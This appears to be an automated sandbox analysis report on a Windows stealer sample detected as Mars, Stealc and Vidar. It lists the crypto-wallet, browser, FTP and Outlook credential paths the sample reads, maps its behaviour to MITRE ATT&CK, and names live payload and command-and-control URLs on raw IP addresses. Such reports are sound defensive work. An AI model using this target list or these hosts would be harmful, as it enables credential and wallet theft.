Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: tAa6xNsucX.exe PID: 6532, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2304071459.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tAa6xNsucX.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.tAa6xNsucX.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tAa6xNsucX.exe PID: 6532, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	11 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	661 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	4 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	236 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
tAa6xNsucX.exe	43%	Virustotal		Browse
tAa6xNsucX.exe	42%	ReversingLabs	Win32.Trojan.Generic
tAa6xNsucX.exe	100%	Avira	TR/Crypt.ZPACK.Gen
tAa6xNsucX.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	phishing
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	phishing
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe	26%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://147.45.47.155/ku4Nor9/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exe	27%	Virustotal		Browse
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/msvcp140.dll/O	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exephprefoxox	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Virustotal		Browse
http://147.45.47.155/ku4Nor9/index.php	21%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exera	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/softokn3.dll	6%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/msvcp140.dllNLu	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://147.45.47.155/I	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/mozglue.dll	7%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/nss3.dll	9%	Virustotal		Browse
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://147.45.47.155/ku4Nor9/index.phpm32	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
http://www.sqlite.org/copyright.html.	0%	Virustotal		Browse
http://147.45.47.155/I	5%	Virustotal		Browse
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	7%	Virustotal		Browse
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exepData	100%	Avira URL Cloud	phishing
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.php	19%	Virustotal		Browse
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/freebl3.dll	6%	Virustotal		Browse
http://147.45.47.155/ku4Nor9/index.phpm32	1%	Virustotal		Browse
http://147.45.47.155/ku4Nor9/index.phpo	100%	Avira URL Cloud	phishing
85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	Avira URL Cloud	safe
http://85.28.47.4	100%	Avira URL Cloud	malware
http://147.45.47.155/ku4Nor9/index.phpD	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	21%	Virustotal		Browse
85.28.47.4/920475a59bac849d.php	19%	Virustotal		Browse
http://147.45.47.155/ku4Nor9/index.phpo	1%	Virustotal		Browse
http://147.45.47.155/ku4Nor9/index.phpE	100%	Avira URL Cloud	phishing
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe00	25%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exe00	25%	Virustotal		Browse
http://147.45.47.155/ku4Nor9/index.phpD	1%	Virustotal		Browse
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	9%	Virustotal		Browse
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/softokn3.dll#L	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Avira URL Cloud	safe
http://85.28.47.4	15%	Virustotal		Browse
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Virustotal		Browse
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/mozglue.dll0L	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Virustotal		Browse
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
http://147.45.47.155/ku4Nor9/index.phpE	1%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	true	27%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://147.45.47.155/ku4Nor9/index.php	true	21%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
85.28.47.4/920475a59bac849d.php	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp, tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000D3A000.00000040.00000001.01000000.00000003.sdmp	true	26%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AFCFHDHIIIECBGCAKFIJ.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	tAa6xNsucX.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	tAa6xNsucX.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll/O	tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tAa6xNsucX.exe, 00000000.00000003.2183850459.0000000000856000.00000004.00000020.00020000.00000000.sdmp, EGCFHDAK.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/mine/amadka.exephprefoxox	tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exera	tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000C96000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: phishing	unknown
